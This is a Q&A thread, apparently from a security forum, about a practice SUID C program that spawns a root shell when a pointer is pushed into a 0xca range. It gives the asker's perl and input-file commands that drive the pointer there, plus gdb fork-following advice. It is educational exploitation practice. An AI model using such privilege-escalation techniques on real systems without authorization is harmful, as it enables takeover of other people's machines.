5

I am trying to exploit a SUID program.

The program is:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }

void print(unsigned char *buf, int len)
{
int i;
printf("[ ");
for(i=0; i < len; i++) printf("%x ", buf[i]); 
printf(" ]\n");
}

int main()
{
unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;

while((x = getchar()) != EOF) {
        switch(x) {
                case '\n': 
                      print(buf, sizeof(buf)); continue; break;
                case '\\': 
                      ptr--; break; 
                default: 
                      e(); 

                      if(ptr > buf + sizeof(buf)) 
                            continue; 

                      ptr++[0] = x; break;
        }
}
printf("All done\n");
}

We can easily see that if we somehow change ptr's contents to some address that starts with CA then a new shell will be spawned for us. And as ptr normally holds some address starting with FF the way to decrease it(ptr) is to enter \ character. So I make a file with 0x35000000 '\' characters, and finally 3 'a' at the end of the file

perl -e "print '\\\'x889192448" > file     # decimal equivalent of 0x35000000
echo aaa >> file        # So that e() is called which actually spawns the shell

And finally in gdb,

run < file

However instead of spawning a shell gdb is saying

process <some number> is executing new program /bin/dash
inferior 1 exited normally

And then back to gdb prompt instead of getting a shell. I have confirmed by setting breakpoints at appropriate locations that ptr is indeed starting with CA before setresuid() gets called.

Also if I pipe this outside of gdb, nothing happens.

./vulnProg < file

Bash prompt returns back.

Please tell me where am I making mistake.

  • 1
    I've had much better luck getting exploit code to run outside of GDB. I would focus on getting the program to run and to be exploited outside of GDB. Focus on why that is not working. – Chris Dale Jun 22 '15 at 8:22
  • 1
    I agree with @ChrisDale. Debuggers can change the way programs can be vulnerable. Attempt to fix without GDB attached because chances are GDB is not your main issue.. – RoraΖ Jun 22 '15 at 11:13
  • Thanks for your responses, but I would really very much appreciate some more light, because I am totally frustrated. – Sounak Bhattacharya Jun 22 '15 at 11:21
  • Gdb may be detecting the pointer change as a bug and is trying to help you debug it. Try without dbg and post symptoms – Neil Smithline Jun 22 '15 at 16:43
2

This may be a little late but GDB stays attached to the parent process when a program forks by default. To make GDB follow the forking process add set follow-fork-mode child to your .gdbinit. GDB will then follow the shell process that is spawned when your exploit lands. More information about gdb and forking processes is available at https://sourceware.org/gdb/onlinedocs/gdb/Forks.html.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.